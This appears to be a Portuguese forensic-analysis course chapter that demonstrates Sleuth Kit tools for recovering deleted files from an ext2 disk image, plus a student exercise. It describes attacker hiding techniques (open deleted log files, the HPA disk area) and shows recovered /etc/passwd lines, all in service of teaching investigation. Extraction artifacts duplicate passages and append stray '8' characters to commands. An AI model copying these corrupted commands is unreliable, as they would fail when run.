Análise forense – Sessão de aprendizagem 3
53
O comando seguinte é utilizado para listar informações sobre o binário, como no primeiro exemplo, mas, além disso, permite também listar o código assembly do binário. Dois formatos de disassembly são suportados, como é mostrado no segundo e terceiro exemplos.
Pacote forense de ferramentas Por que utilizar um pacote forense de ferramentas? Facilitam o trabalho de analisar e extrair evidências de imagens de disco. Permitem recuperar arquivos removidos. São flexíveis, permitindo a análise de sistemas de arquivos diferentes. A quantidade de dados é muito grande, então ferramentas específicas tornam o trabalho mais fácil.
Pacote forense de ferramentas Tipos de ferramentas do pacote forense: \\Ferramentas
do Nível de Sistema de Arquivos – Estas ferramentas processam dados gerais sobre o sistema de arquivos, tal como o layout de disco, estruturas de alocação e boot blocks.
\\Ferramentas
do Nível de Nomes de Arquivos – Estas ferramentas processam estruturas de nomes de arquivos e de diretórios.
\\Ferramentas
Pacote forense de ferramentas Ferramentas do Nível de Sistema de Arquivos Ferramentas do Nível de Nomes de Arquivos Ferramentas do Nível de Metadados Ferramentas do Nível de Blocos de Dados Outras ferramentas
do Nível de Metadados – Estas ferramentas processam estruturas de metadados, que armazenam detalhes sobre os arquivos. Metadados são dados sobre dados. Eles armazenam informações sobre estruturas tais como entradas de diretórios na FAT, entradas MFT em sistemas NTFS, ou inodes em sistemas de arquivos UFS ou EXTFS.
\\Ferramentas
do Nível de Blocos de Dados – Estas ferramentas processam blocos de dados onde o conteúdo de um arquivo fica armazenado, como por exemplo clusters em um sistema FAT.
\\Outras
ferramentas – Têm funcionalidades diversas e são importantes durante a análise forense.
Pacote forense de ferramentas Já mencionamos a ferramenta EnCase, para Windows. Existem dois pacotes importantes para Linux: The Coroner’s Toolkit The Sleuth Kit Sleuth Kit foi criado com base no primeiro, e possui mais funcionalidades e flexibilidade. Outras ferramentas facilitam o trabalho do analista, tal como o Autopsy, uma interface web para os programas do Sleuth Kit.
Ambiente e ferramentas de análise forense (parte 2)
54
Escola Superior de Redes RNP
Pacote forense de ferramentas Vamos utilizar neste curso o pacote Sleuth Kit: Maior flexibilidade das ferramentas Trabalha com dispositivos de disco ou imagens binárias Reconhece diversos sistemas de arquivos Sem custo de utilização
As ferramentas do Sleuth Kit estão divididas em grupos, de acordo com as estruturas de um sistema de arquivos: Sistema de arquivos Estruturas de nomes de arquivos Estruturas de metadados Estruturas de journaling Estruturas de blocos de dados Estruturas de gerenciamento de partições Estruturas de acesso físico ao disco
Os inodes contêm informações necessárias aos processos para acessar um arquivo.
Pacote forense de ferramentas Cada arquivo em um sistema Unix possui um único inode. Cada inode contém: Owner: 707 Identificação do owner Tipo do arquivo Permissões de acesso Tempo de acesso Número de links Tabela de conteúdo Tamanho do arquivo Lista de blocos de dados do arquivo
Group: 707 Type: regular Perms: rw-rw-rw-Accessed: Mon JAN 16 03:03 Modified: Mon JAN 16 01:01 Created: Sun DEC 15 10:00
Pacote forense de ferramentas Qual a importância dos inodes e da forma de alocação de dados no disco? Quando um arquivo é apagado os dados continuam no disco e podem ser recuperados até que sejam sobrescritos. Algoritmos de alocação de espaço evitam colisão. Conclusão Arquivos apagados são freqüentemente recuperados com sucesso e possuem informações valiosas.
Análise forense – Sessão de aprendizagem 3
Owner: 707 Group: 707 Type: regular Perms: rw-rw-rw-Accessed: Mon JAN 16 03:03 Modified: Mon JAN 16 01:01 Created: Sun DEC 15 10:00
55
Os blocos de dados são a menor estrutura em um disco, e armazenam o conteúdo do arquivo. Um inode pode armazenar os dados do arquivo quando este for bem pequeno, menor que o tamanho de um bloco. Caso o arquivo tenha entre 1 e 8 blocos, o inode armazena uma lista de blocos diretamente. E quando o arquivo for muito grande, o inode vai utilizar os blocos endereçados diretamente como área para armazenar informações sobre os blocos que armazenam o arquivo. Este processo é chamado de blocos de dados endereçados indiretamente, e permite que um arquivo tenha tamanhos arbitrários.
Pacote forense de ferramentas Como os arquivos são apagados? O inode alocado a um arquivo é marcado como livre O inode é recolocado na lista “free-inodes” no superblock O número de “free-inodes” é incrementado no superblock Blocos do disco são retornados para a lista de blocos livres no disco O número de blocos livres no disco é incrementado no superblock
Ambiente e ferramentas de análise forense (parte 2)
56
Escola Superior de Redes RNP Ferramentas do nível de sistema de arquivos fsstat Mostra detalhes e estatísticas do sistema de arquivos: # fsstat -f linux-ext2 /data/dev_sda2_root.img FILE SYSTEM INFORMATION -------------------------------------------File System Type: Ext2 Volume Name: Volume ID: 533d2c132a726ebcb1430beadf42a1df Last Written at: Tue Jan 15 21:00:42 2008 Last Checked at: Wed Jan 16 03:32:47 2008 Last Mounted at: Tue Jan 15 21:00:12 2008
Ferramentas do nível de sistema de arquivos fsstat Mostra detalhes e estatísticas do sistema de arquivos, tal como layout, tamanho do disco, tamanho dos blocos, número de inodes e blocos de dados, datas de modificação, entre outros. # fsstat -f linux-ext2 /data/dev_sda2_root.img8 FILE SYSTEM INFORMATION -------------------------------------------File System Type: Ext2 Volume Name: Volume ID: 533d2c132a726ebcb1430beadf42a1df Last Written at: Tue Jan 15 21:00:42 2008 Last Checked at: Wed Jan 16 03:32:47 2008 Last Mounted at: Tue Jan 15 21:00:12 2008
Este comando é importante para o investigador descobrir informações sobre o disco que serão úteis em diversos momentos da investigação. Deve-se executar o comando para entender a saída completa do mesmo, já que não é possível colocá-la toda aqui. Uma parte importante da saída é mostrada a seguir: Source OS: Linux Dynamic Structure Compat Features: Journal, InCompat Features: Filetype, Read Only Compat Features: Sparse Super, Journal ID: 00 Journal Inode: 8 METADATA INFORMATION -------------------------------------------Inode Range: 1 - 64512 Root Directory: 2 Free Inodes: 51833 CONTENT INFORMATION -------------------------------------------Block Range: 0 - 257039 Block Size: 1024 Reserved Blocks Before Block Groups: 1 Free Blocks: 50885
O tamanho dos blocos define o menor espaco disponível para um arquivo. Os limites de inode e de blocos indicam valores úteis para serem utilizados em outros comandos que veremos a seguir.
Análise forense – Sessão de aprendizagem 3
57
Ferramentas do nível de nomes de arquivos ffind Procura por nomes de arquivos que apontem para uma dada estrutura de metadados. # ffind -f linux-ext2 /data/dev_sda2_root.img 4317 * /usr/NX/bin/nxclient
Ferramentas do nível de nomes de arquivos ffind Procura por nomes de arquivos que apontem para uma dada estrutura de metadados. # ffind -f linux-ext2 /data/dev_sda2_root.img 43178 * /usr/NX/bin/nxclient
A estrutura de um arquivo em disco é composta por um inode que armazena informações sobre o arquivo e aponta para os blocos de dados que armazenam o conteúdo do arquivo. Podemos entender o ffind como uma ferramenta que serve para descobrir o nome de arquivo que aponta para o inode informado. O fls funciona basicamente como o ls, listando a estrutura de diretórios e arquivos do dispositivo ou imagem informados, com a diferença de que lista os arquivos removidos, também podendo listar mais informações como inode e mactimes.
Ferramentas do nível de nomes de arquivos fls
Lista nomes de arquivos alocados ou apagados em um diretório.
fls Lista nomes de arquivos alocados ou apagados em um diretório.
# fls -a –r –d -f linux-ext2 /data/dev_sda2_root.img d/- * 0: KNOPPIX/usr r/r * 4317: usr/NX/bin/nxclient
# fls -a –r –d -f linux-ext2 /data/dev_sda2_root.img8
# fls -a -f linux-ext2 /data/dev_sda2_root.img
# fls -a -f linux-ext2 /data/dev_sda2_root.img8
# fls -m / -f linux-ext2 -a -p -r /data/dev_sda2_root.img > /data/dev_sda2_root.img.mac
Ferramentas do nível de metadados istat Mostra estatísticas e detalhes sobre um determinado inode. # istat -f linux-ext2 /data/dev_sda2_root.img 4317
Ambiente e ferramentas de análise forense (parte 2)
d/- * 0: KNOPPIX/usr r/r * 4317: usr/NX/bin/nxclient
# fls -m / -f linux-ext2 -a -p -r /data/dev_sda2_ root.img > /data/dev_sda2_root.img.mac8
Ferramentas do nível de metadados istat # istat -f linux-ext2 /data/dev_sda2_root.img 43178
Dados da saída do istat: inode: 4317 Not Allocated Group: 2 Generation Id: 2619973599 uid / gid: 0 / 0 mode: -rwxr-xr-x size: 5432288 num of links: 0 Inode Times:
58
Escola Superior de Redes RNP Accessed: Wed Jan 16 03:51:16 2008 File Modified: Tue Dec 20 09:44:32 2005 Inode Modified: Tue Jan 15 21:00:40 2008 Deleted: Tue Jan 15 21:00:40 2008 Direct Blocks: 27894 27895 27896 27897 27898 27899 27900 27901 ...
Vemos no exemplo algumas informações interessantes sobre o arquivo armazenado no inode listado. Primeiro, que ele não está alocado, isto é, o arquivo original foi removido. Segundo, vemos o usuário e grupo originais do arquivo, além de suas permissões. Finalmente, vemos os tempos de acesso, modificação, criação e remoção do arquivo. Veremos em outra sessão como essas informações podem ser importantes para identificar as atividades de um invasor.
Ferramentas do nível de metadados icat Extrai uma unidade de dados de um disco, a partir do endereço do metadado que aponta para este bloco. Permite extrair um arquivo a partir de um inode, sem precisar saber o nome do arquivo. # icat -f linux-ext2 /data/dev_sda2_root.img 4317 > /data/inode_4317_nxclient.dat
icat # icat -f linux-ext2 /data/dev_sda2_root.img 4317 > /data/inode_4317_nxclient.dat8
O icat é a ferramenta utilizada para recuperar arquivos deletados. Com o inode sabendo onde um arquivo está armazenado, como por exemplo utilizando fls ou ls–i, é possível recuperar o arquivo utilizando o icat como mostra o exemplo. ifind
Ferramentas do nível de metadados ifind Permite, em conjunto com o comando ffind achar o nome de arquivo que aponta para um bloco de dados # ifind -a /data/dev_sda2_root.img -d 251399 60489 # ffind -a /data/dev_sda2_root.img 60489 /etc/passwd # ifind -a /data/dev_sda2_root.img -n usr/NX/bin/nxclient 4317
Procura a estrutura de metadados para a qual um determinado nome de arquivo aponta, ou a estrutura de metadados que aponta para um determinado bloco de dados. Permite, em conjunto com o comando ffind achar qual nome de arquivo aponta para um bloco de dados (por exemplo, o bloco de dados que contenha um texto importante que se deseje recuperar). # ifind -a /data/dev_sda2_root.img -d 2513998 60489 # ffind -a /data/dev_sda2_root.img 60489 8 /etc/passwd # ifind -a /data/dev_sda2_root.img -n usr/NX/bin/nxc lient8 4317
No primeiro exemplo, temos um bloco do disco que poderia conter dados importantes que queremos recuperar. Para achar o inode que está alocando este bloco, isto é, o arquivo que continha originalmente este bloco, utilizamos primeiro o ifind para encontrar o inode, e após isso utilizamos o ffind para encontrar o nome de arquivo correspondente.
Análise forense – Sessão de aprendizagem 3
59
O segundo exemplo faz o contrário: a partir do nome de um arquivo conhecido, descobrimos em qual inode ele estava armazenado originalmente.
Ferramentas do nível de metadados ils Lista as estruturas de metadados e seus conteúdos em um formato fácil de tratar. Faz com inodes o mesmo que o fls fez com nomes de arquivos. # ils –r –f linux-ext2 /data/dev_sda2_root.img # ils -m -f linux-ext2 -e -r /data/dev_sda2_root.img > /data/dev_sda2_root.img.ils # ils –O –f linux-ext2 /data/dev_sda2_root.img
ils Lista as estruturas de metadados e seus conteúdos em um formato fácil de se tratar. O ils faz com inodes o mesmo que o fls fez com nomes de arquivos. Exemplo: # ils –r –f linux-ext2 /data/dev_sda2_root.img # ils -m -f linux-ext2 -e -r /data/dev_sda2_root. img > /data/dev_sda2_root.img.ils # ils –O –f linux-ext2 /data/dev_sda2_root.img
Nos exemplos acima, listamos recursivamente todos os inodes da imagem (alocados ou não). O segundo exemplo cria um arquivo no formato mactimes, como vimos no fls. E o terceiro exemplo é útil em um sistema ligado, permitindo listar todos os inodes que foram removidos, mas ainda estão abertos. Com isto, poderemos identificar algum executável ou arquivo de logs removido do disco pelo invasor, mas que continua aberto em memória. Isto é muito comum quando um invasor instala um sniffer na máquina. Ele executa o sniffer, descobre em qual inode o arquivo de logs está armazenado, removendo em seguida o binário do sniffer e o arquivo de logs. Como o arquivo vai permanecer aberto, nenhum novo arquivo poderá sobrescrever as áreas do disco onde esse log está sendo armazenado, e ele não vai aparecer mais no sistema de arquivos. Quando o invasor precisar, poderá voltar à máquina, e recuperar o arquivo a partir do inode. Este é um método muito simples de esconder evidências no sistema.
Ferramentas do nível de blocos de dados dstat Mostra estatísticas e detalhes sobre um bloco de dados. # dstat -f linux-ext2 /data/dev_sda2_root.img 251399 Fragment: 251399 Allocated Group: 30
Ferramentas do nível de blocos de dados dstat Mostra estatísticas e detalhes sobre um bloco de dados. # dstat -f linux-ext2 /data/dev_sda2_root.img 251399 Fragment: 251399 Allocated Group: 30
Os blocos de dados são a menor estrutura de armazenamento possível um disco. Um inode armazena a lista de blocos onde os dados do arquivo são armazenados. Algumas vezes, quando um inode for sobrescrito, ou parte dos blocos de um arquivo forem sobrescritos, não será possível recuperar o arquivo completo, mas com o dstat e dcat, podemos recuperar partes do arquivo e com isso conseguir evidências importantes para resolver o caso. Ambiente e ferramentas de análise forense (parte 2)
60
Escola Superior de Redes RNP
Ferramentas do nível de blocos de dados
dcat # dcat -f linux-ext2 /data/dev_sda2_root.img 2513998
dcat Extrai um bloco de dados de um disco. Utilizaremos esta ferramenta quando não for possível identificar a qual arquivo ou inode pertence um determinado bloco. Permite recuperar dados parciais de arquivos.
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh
# dcat -f linux-ext2 /data/dev_sda2_root.img 251399 root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh
Ferramentas do nível de blocos de dados dls Lista detalhes sobre unidades de dados, e pode listar blocos de dados desalocados de um sistema de arquivos. # dls -A -a -l -f linux-ext2 /data/dev_sda2_root. img 27891 27895 class|host|image|first_time|unit dls|Helix||1199680475|Fragment addr|alloc 27891|a 27892|a 27893|a 27894|f 27895|f # dls -A -f linux-ext2 /data/dev_sda2_root.img > / data/dev_sda2_root.img.dls
dls Lista detalhes sobre unidades de dados, e pode listar blocos de dados desalocados de um sistema de arquivos. Estes blocos contêm o espaço livre e os arquivos deletados em disco. # dls -A -a -l -f linux-ext2 /data/dev_sda2_root. img 27891 27895 8 class|host|image|first_time|unit dls|Helix||1199680475|Fragment addr|alloc 27891|a 27892|a 27893|a 27894|f 27895|f # dls -A -f linux-ext2 /data/dev_sda2_root.img > / data/dev_sda2_root.img.dls8
No primeiro exemplo, o dls lista o estado de alocação dos blocos entre os valores indicados. Podemos ver que os blocos alocados aparecem com o status a, e os desalocados estão listados como f. O segundo exemplo cria um arquivo contendo somente os blocos desalocados do disco. Com este arquivo, poderemos procurar por evidências que tenham sido removidas, como por exemplo, um arquivo de log ou executável. Pode não parecer muito interessante esse tipo de função, mas pense em procurar por essa evidência em um disco de centenas de gigabytes. Se conseguir procurar somente no espaço livre, a quantidade de dados pode ser muito menor, facilitando o trabalho de investigação.
Análise forense – Sessão de aprendizagem 3
61
Ferramentas do nível de blocos de dados dcalc Usado para encontrar na imagem original o bloco de dados correspondente ao encontrado na imagem de blocos de dados desalocados. Exemplo: # # # # #
grep -ab ‘ http://www’ /data/dev_sda2_root.img.dls fsstat /data/dev_sda2_root.img | grep “Block Size” echo $((4045060/1024)) dcalc -u 3950 /data/dev_sda2_root.img dcat /data/dev_sda2_root.img 31844
dcalc Usado para encontrar na imagem original o bloco de dados correspondente ao encontrado na imagem de blocos de dados desalocados. Exemplo: # grep -ab ‘ http://www’ /data/dev_sda2_root.img.dls8 # fsstat /data/dev_sda2_root.img | grep “Block Size“8 # echo $((4045060/1024))8 # dcalc -u 3950 /data/dev_sda2_root.img8 # dcat /data/dev_sda2_root.img 318448
Mais informações: http://www.nomachine. com/
Esta é a sequência de comandos com a saída correspondente: # grep -ab ‘ http://www’ /data/dev_sda2_root.img.dls8 4045060:See http://www.nomachine.com/ for more information. # fsstat /data/dev_sda2_root.img | grep “Block Size”8 Block Size: 1024 # echo $((4045060/1024))8 3950 # dcalc -u 3950 /data/dev_sda2_root.img8 31844 # dcat /data/dev_sda2_root.img 318448 The directory ‘’ not exists./.nx/config//confignxsconfCannot find the configuration file ‘’.nxsError: the session name ‘%1’ not found in ‘%2’.NXCLIENT - Version
O primeiro comando lista as ocorrências da sequência procurada, com o offset em bytes onde essa sequência pode ser encontrada na imagem. Com o comando fsstat, vemos que o tamanho do bloco do disco tem 1024 bytes, então temos que encontrar o endereço do bloco de dados que armazena o byte do offset encontrado. O comando echo visto no exemplo usa uma facilidade do shell para calcular o endereço do bloco, e a seguir utilizamos o dcalc para descobrir na imagem original o bloco correspondente ao bloco encontrado na imagem de blocos desalocados. Por fim, utilizamos o dcat para recuperar o conteúdo do bloco em questão.
Outras ferramentas mmls Mostra informações sobre o layout do disco, incluindo espaços não particionados. A saída identifica o tipo das partições e seus tamanhos, facilitando a utilização do comando dd para extrair partições. A saída é ordenada pelo setor inicial, facilitando encontrar espaços no layout.
# mmls -t dos /dev/sda DOS Partition Table Offset Sector: 0 Units are in 512-byte sectors
Ambiente e ferramentas de análise forense (parte 2)
Outras ferramentas mmls Mostra informações sobre o layout do disco, incluindo espaços não particionados. A saída identifica o tipo das partições e seus tamanhos, facilitando a utilização do comando dd para extrair partições. A saída é ordenada pelo setor inicial, facilitando encontrar espaços no layout.
62
Escola Superior de Redes RNP # mmls -t dos /dev/sda8 DOS Partition Table Offset Sector: 0 Units are in 512-byte sectors
O comando mmls é importante, pois mostra a estrutura de particionamento do disco, incluindo o tipo e o tamanho das partições, possíveis espaços não particionados, o tamanho do cluster (que define o tamanho do bloco) e o tipo da partição. mmstat
Outras ferramentas mmstat Este comando mostra apenas o tipo de partição presente em um dispositivo. Pode ser utilizado para descobrir essa informação num disco no qual não conhecemos o tipo de particionamento utilizado.
Este comando mostra apenas o tipo de partição presente em um dispositivo. Pode ser utilizado para descobrir essa informação num disco no qual não conhecemos o tipo de particionamento utilizado. # mmstat /dev/das 8 dos
# mmstat /dev/das dos
O mmstat é uma ferramenta para mostrar o tipo de tabela de partição existente na imagem ou dispositivo. hfind
Outras ferramentas hfind Para um dado arquivo suspeito, procura em bancos de dados de hash criptográficos conhecidos pela existência do arquivo, para verificar sua autenticidade. Diversos bancos de dados podem ser usados como fonte: [9], [10], [11], [12], [13]. # hfind -i md5sum /data/badfiles_hashs.md5
Index Created # hfind /data/badfiles_hashs.md5 54904845b4b0a9cb5f49 91d39043199 e54904845b4b0a9cb5f4991d39043199 /bin/chgrp
Procura um dado arquivo suspeito em bancos de dados de hash criptográficos conhecidos pela existência do arquivo, para verificar sua autenticidade. Diversos bancos de dados podem ser usados como fonte. # hfind -i md5sum /data/badfiles_hashs.md58 Index Created # hfind /data/badfiles_hashs.md5 54904845b4b0a9cb5f49 91d390431998 e54904845b4b0a9cb5f4991d39043199 /bin/chgrp
O hfind é uma ferramenta usada para procurar por assinaturas de arquivos conhecidos. O primeiro comando do slide cria um índice baseado na lisa de hashs passada como parâmetro. Existem na internet diversas listas de arquivos maliciosos ou de arquivos válidos de um sistema. O segundo comando procura por um hash específico dentro do índice, e indica o arquivo correspondente a esse hash.
Análise forense – Sessão de aprendizagem 3
63
mactime
Outras ferramentas mactime Pega a saída dos comandos ils ou fls e cria um timeline, ou linha de eventos, da atividade de arquivos no disco. # mactime -b /data/dev_sda2_root.img.mac p /etc/passwd -z GMT-3
Pega a saída dos comandos ils ou fls e cria um timeline, ou linha de eventos, da atividade de arquivos no disco. Como veremos em sessões posteriores, o timeline é a principal ferramenta para remontar os passos de uma invasão. # mactime -b /data/dev_sda2_root.img.mac -p /etc/pa sswd -z GMT-38
disk_stat
Outras ferramentas disk_stat Este comando mostra informações sobre discos ATA e SerialATA. Host Protected Area (HPA): Área reservada onde os fabricantes normalmente instalam arquivos de recuperação do sistema operacional original.
# disk_stat /dev/sda Maximum Disk Sector: 312499999 Maximum User Sector: 268435454 ** HPA Detected (Sectors 268435454 312500000) **
Este comando mostra informações sobre discos ATA e Serial-ATA. Normalmente, podemos encontrar neste tipo de disco uma área reservada onde os fabricantes normalmente instalam arquivos de recuperação do sistema operacional original. Esta área é conhecida como Host Protected Area (HPA): # disk_stat /dev/sda8 Maximum Disk Sector: 312499999 Maximum User Sector: 268435454 ** HPA Detected (Sectors 268435454 - 312500000) **
O problema do HPA é que esta área não é acessível ao sistema operacional, nem mesmo em uma listagem de partições com o comando fdisk. Mas um invasor com as ferramentas necessárias pode utilizar essa região do disco para esconder informações.
Se o investigador tentar realizar uma cópia do disco antes de desabilitar a proteção do HPA, o dd ou qualquer comando utilizado para cópia não copiará os setores protegidos. Por isso estes comandos são importantes durante o atendimento inicial do incidente para garantir que as evidências serão coletadas corretamente.
Outras ferramentas disk_sreset Permite remover o bloqueio de acesso ao HPA, permitindo que o investigador tenha acesso aos setores de disco protegidos. # disk_sreset /dev/sda Removing HPA from 268435454 to 312500000 until next reset
Ambiente e ferramentas de análise forense (parte 2)
disk_sreset Este comando permite remover o bloqueio de acesso ao HPA, permitindo assim que o investigador tenha acesso aos setores de disco protegidos e ao seu conteúdo. # disk_sreset /dev/sda8 Removing HPA from 268435454 to 312500000 until next reset
64
Escola Superior de Redes RNP sorter
Outras ferramentas
# mkdir -p /usr/local/sleuthkit-2.09/share/file/
Analisa e ordena os arquivos em uma imagem de disco baseada em um banco de dados de assinaturas de arquivos. Serve para identificar rapidamente se existem em disco arquivos de um determinado tipo.
# cp /usr/share/file/magic /usr/local/sleuthkit2.09/share/file/
# mkdir -p /usr/local/sleuthkit-2.09/share/file/8
sorter Analisa e ordena os arquivos em uma imagem de disco baseada em um banco de dados de assinaturas de arquivos.
# sorter -f linux-ext2 -d /data/sorter /data/dev_sda2_root.img Analyzing "/data/dev_sda2_root.img“ Loading Allocated File Listing Processing 12674 Allocated Files and Directories … 100% All files have been saved to: /data/sorter
# cp /usr/share/file/magic /usr/local/sleuthkit-2.09 /share/file/8 # sorter -f linux-ext2 -d /data/sorter /data/dev_sd a2_root.img8 Analyzing “/data/dev_sda2_root.img“ Loading Allocated File Listing Processing 12674 Allocated Files and Directories … 100% All files have been saved to: /data/sorter
O arquivo unknown.txt contém os arquivos encontrados pelo sorter com os respectivos inodes onde foram encontrados.
sigfind
Outras ferramentas sigfind O comando sigfind permite procurar por um padrão binário em um arquivo. # sigfind -b 1024 1f8b08 /data/dev_sda2_root.img | less # ifind -a /data/dev_sda2_root.img -d 55934 # ffind -a /data/dev_sda2_root.img 4781 # hexdump -C /usr/X11R6/lib/X11/fonts/100dpi /UTBI__10-ISO8859-1.pcf.gz | head -1
O principal problema em procurar padrões utilizando o comando grep é que não podemos procurar por padrões binários. Por exemplo, como encontrar a assinatura de um arquivo gzip? Neste caso, o comando sigfind pode ser utilizado. Ele permite procurar por um padrão binário em um arquivo. # sigfind -b 1024 1f8b08 /data/dev_sda2_root.img | l ess8 Block size: 1024 Offset: 0 Signature: 1F8B08 Block: 55934 (-) # ifind -a /data/dev_sda2_root.img -d 559348 4781 # ffind -a /data/dev_sda2_root.img 47818 /usr/X11R6/lib/X11/fonts/100dpi/UTBI__10-ISO8859-1. pcf.gz # hexdump -C /usr/X11R6/lib/X11/fonts/100dpi/UTBI__ 10-ISO8859-1.pcf.gz | head -18 00000000 1f 8b 08 00 af 09 8c 43 00 03 a5 5a 0b 70 5c d5 |.......C...Z.p\.|
Vemos no exemplo acima que o comando sigfind encontrou o padrão procurado no bloco 55934. Utilizamos em seguida o comando ifind para encontrar o inode correspondente que aponta para este bloco. Encontrando o inode, podemos utilizar o comando ffind para achar finalmente o nome do arquivo correspondente.
Análise forense – Sessão de aprendizagem 3
65
Fizemos uma última verificação com o comando hexdump para mostrar que os três primeiros bytes do arquivo são mesmo 0x1f8b08. srch_strings
Outras ferramentas srch_strings Permite realizar as mesmas tarefas do comando strings, com a diferença de poder procurar por caracteres com outra codificação. Veja os exemplos abaixo: # # # # #
strings –a /data/ HelloWorld.doc srch_strings -a -e l /data/ HelloWorld.doc srch_strings -a -e b /data/ HelloWorld.doc srch_strings -a -e s /data/ HelloWorld.doc srch_strings -a -e S /data/ HelloWorld.doc
O comando strings tem um problema que muitas vezes pode atrapalhar os resultados de uma investigação. Caso exista algum texto de evidência que utilize uma codificação diferente do padrão ASCII, strings não vai mostrá-lo. Por isso, o comando srch_ strings existe para suprir essa deficiência. Ele permite realizar as mesmas tarefas do comando strings, com a diferença de poder procurar por caracteres com outra codificação. Veja os exemplos ao lado: # strings –a /data/ HelloWorld.doc8 # srch_strings -a -e l /data/ HelloWorld.doc8 # srch_strings -a -e b /data/ HelloWorld.doc8 # srch_strings -a -e s /data/ HelloWorld.doc8 # srch_strings -a -e S /data/ HelloWorld.doc8
Nos exemplos, mudando o tipo de codificação com o parâmetro –e podemos ver a diferença na saída dos comandos, comparados com o comando strings normal. Em cada caso, utilizamos uma codificação diferente, de acordo com o parâmetro passado em –e . Isto pode ser importante para encontrar arquivos que estejam em outra codificação, como por exemplo se o invasor for proveniente de países orientais. foremost Quando o número de arquivos que precisamos recuperar for muito grande, fica inviável realizar essa tarefa manualmente. O foremost é uma ferramenta escrita pela força aérea americana, com o objetivo de facilitar a procura e recuperação de arquivos baseados em suas assinaturas. Ele utiliza um arquivo de configuração onde é possível especificar as assinaturas que deseja procurar. # mkdir /data/foremost8 # foremost -o /data/foremost -c /data/foremost.conf /data/dev_sda2_root.img. dls8 Processing: /data/dev_sda2_root.img.dls # ls /data/foremost8 audit.txt htm jpg
Podemos ver que o comando cria um diretório para cada tipo de arquivo identificado, e dentro dele armazena os arquivos do tipo que foram recuperados da imagem especificada. No nosso exemplo, utilizamos a imagem dls que, conforme vimos, contém os blocos de dados desalocados do disco original.
Ambiente e ferramentas de análise forense (parte 2)
66
Escola Superior de Redes RNP
Outras ferramentas foremost Facilita a procura e recuperação de arquivos baseados em suas assinaturas, utilizando um arquivo de configuração onde é possível especificar as assinaturas que deseja procurar. # mkdir /data/foremost # foremost -o /data/foremost -c /data /foremost.conf /data/dev_sda2_root.img.dls Processing: /data/dev_sda2_root.img.dls # ls /data/foremost audit.txt htm jpg
CD de ferramentas Deve-se criar ou utilizar um CD com ferramentas úteis ao trabalho do investigador. O Live CD do Helix é uma boa opção, mas caso o seu trabalho seja exclusivamente realizar investigações de incidente, você deveria pensar em criar seu próprio CD de ferramentas. A primeira coisa que deve existir em um CD de ferramentas forenses é um interpretador de comandos confiável.
CD de ferramentas Além de um interpretador de comandos, o CD deve conter as seguintes ferramentas: Todas as ferramentas básicas vistas anteriormente. Todas as ferramentas do pacote forense escolhido. Ferramentas básicas do sistema: ls, cp, mv, rm, chroot, cat, less, more, chmod, chown, chgrp, date, df, du, cut, sort, strip, tail, head, ln, arp, echo, env, hostname, id, ifconfig, pwd, touch, uniq, uptime, wc, who.
Ferramentas de manipulação e compilação de objetos: cc, ld, nm, ldd, addr2line, ar, as, gprof, objcopy, objdump, ranlib.
Análise forense – Sessão de aprendizagem 3
O comando foremost cria também um arquivo chamado audit.txt que contém informações sobre a localização dos arquivos recuperados: # cat /data/foremost/audit.txt8 Foremost version 1.5 by Jesse Kornblum, Kris Kendall, and Nick Mikus Audit File Foremost started at Mon Jan 14 21:03:44 2008 Invocation: foremost -o /data/foremost -c /data/ foremost.conf /data/dev_sda2_root.img.dls Output directory: /data/foremost Configuration file: /data/foremost.conf ----------------------------------------------------------------File: /data/dev_sda2_root.img.dls Start: Mon Jan 14 21:03:44 2008 Length: 49 MB (52106240 bytes) Num Name (bs=512) Size File Offset Comment 0: 00000422.jpg 77 KB 216260 1: 00000482.jpg 46 KB 247042 2: 00000679.jpg 2 KB 348009
CD de ferramentas Durante uma investigação, é importante que o investigador tenha em mãos todas as ferramentas necessárias para o seu trabalho. É necessário compilar estaticamente todas as ferramentas do CD, para evitar o comprometimento por binários ou bibliotecas suspeitas.
67
Conclusões O sistema operacional utilizado pelo investigador precisa ser flexível e confiável. Deve dispor de ferramentas básicas que auxiliem na tarefa de analisar dezenas de gigabytes de dados. A utilização de um pacote de ferramentas forenses é indispensável. Todas as ferramentas utilizadas devem estar disponíveis em um CD, compiladas estaticamente e prontas para utilização em qualquer situação.
Ambiente e ferramentas de análise forense (parte 2)
Conclusões Na próxima sessão conheceremos as técnicas para coleta de evidências a partir da imagem do disco de uma máquina comprometida. Apesar desta ser a parte mais demorada do processo, veremos que as técnicas são simples e de fácil execução.
Escola Superior de Redes RNP
Análise forense – Sessão de aprendizagem 3
68
3 Sessão de aprendizagem 3 Ambiente e ferramentas de análise forense (parte 2) Roteiro de atividades Tópicos e conceitos \\Utilização
de comandos do sistema operacional e do pacote forense de ferramentas.
Competências técnicas desenvolvidas \\Encontrar
arquivos escondidos no disco e verificar o seu conteúdo
Outras competências desenvolvidas \\Capacidade
de investigação e pesquisa do aluno.
Tempo previsto para as atividades \\90-110
minutos
Escola Superior de Redes RNP
70
Atividade 1 – Investigando o disco
Existe um arquivo escondido em algum lugar no diretório /data, sobre o qual não se sabe nada. O aluno, sozinho ou com um colega, deve utilizar somente as ferramentas básicas vistas nessa sessão para encontrar o arquivo, e sem executá-lo, descobrir suas funcionalidades. O aluno deve preparar um relatório explicando os comandos que utilizou para encontrar o arquivo e para analisar seu conteúdo de modo a descobrir suas funcionalidades. O relatório deve conter o hash do arquivo, tipo, nome e diretório local onde foi encontrado, bibliotecas utilizadas e qualquer informação extra que julgue importante para identificar o arquivo. Existe algum arquivo no sistema do Helix que tenha a mesma assinatura desse arquivo? Se encontrar um arquivo com mesmo hash, inclua isso em seu relatório. Discuta com seus colegas as técnicas, dificuldades e soluções encontradas neste exercício. (Guarde 15 minutos para discussão com os demais alunos.)
